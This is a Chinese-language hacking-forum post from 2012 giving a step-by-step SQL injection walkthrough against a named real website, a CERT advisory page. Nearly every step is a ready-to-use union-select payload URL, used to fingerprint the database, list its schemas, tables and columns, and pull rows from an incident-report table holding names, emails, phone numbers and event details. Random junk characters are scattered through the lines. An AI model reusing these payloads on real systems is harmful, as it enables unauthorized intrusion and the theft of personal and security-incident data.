找回密码
 立即注册
查看: 2600|回复: 0
打印 上一主题 下一主题

.高级暴库方法讲解

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:57:04 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断版本http://www.cert.org.tw/document/advisory/detail.php?id=7 and ord(mid(version(),1,1))>51 返回正常,说明大于4.0版本,支持ounion查询- _0 q, C, D" B6 F0 M
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解
" ]0 D2 Y8 i; f3 d+ `+ n& V; ohttp://www.cert.org.tw/document/advisory/detail.php?id=7 and 2=4 union select 1,2,3,4,5,6,7,8,9--( X. y% w- s/ u9 l
3.查看数据库版本及当前用户,http://www.cert.org.tw/document/advisory/detail.php?id=7 and 2=4 union select 1,user(),version(),4,5,6,7,8,9--
& T2 ~4 H6 \( J" Y数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,有待牛人去考证。
' f5 c! [! u/ ?4.判断有没有写权限' `: w  S- Y$ I- g/ ~
http://www.cert.org.tw/document/advisory/detail.php?id=7 and (select count(*) from MySQL.user)>0-- 返回错误,没有写权限; G5 Z$ [0 ^1 i+ p/ g
没办法,手动猜表啦
  Z: G8 @+ G- U* A  ]; Y# i5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1; Q3 \2 B# q: @. O9 P+ b$ B
但是这个点有点不争气,用不了这个命令,就学习了下土耳其黑客的手法,不多说,如下
* l. F1 c2 z1 I) thttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
7 w5 F' L8 T7 t: l9 n成功查出所有数据库,国外的黑客就是不一般。数据库如下:
6 V) c. z7 `' f% D. e6 k- Tinformation_schema,Advisory,IR,mad,member,mysql,twcert,vuldb,vulscandb2 ?5 _% I* F0 {* z$ m
6.爆表,爆的是twcert库
4 I7 ~2 [7 a/ khttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
0 k# d& N. Y8 m+ ?' U2 ^) O爆出如下表9 h3 R' n. M. U; y3 _0 p
downloadfile,irsys,newsdata,secrpt,secrpt_big5; A2 g& a: W0 _. M, \6 ]& \% X) z
7.爆列名,这次爆的是irsys表# _* B+ ?' f% _- ~
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--8 N% w- X7 `+ z( ^: i! b) [
爆出如下列9 k  k, i4 R% B: }6 E
ir_id,name,company,email,tel,pubdate,rptdep,eventtype,eventdesc,machineinfo,procflow,memo,filename,systype,status; m2 x, v  Y" s: V: B* E
8.查询字段数,到这一步,国内很少有黑客去查询字段数的,直接用limit N,1去查询,直接N到报错为止。
, _2 \4 S' x2 S/ ^( U& ehttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--
' p5 J+ o' `+ y. v1 F返回是3,说明每个列里有3个地段
2 V$ C& X- z' g0 J9.爆字段内容
* V$ s' z* @, ]" E; v( p5 v9 Phttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--
" v! `9 P) \' w% k爆出name列的第一个字段的内容8 i6 v3 }5 h( ~8 x3 O  r
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--
) p6 Z( v" k! _1 n爆出name列的第二个字段的内容
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表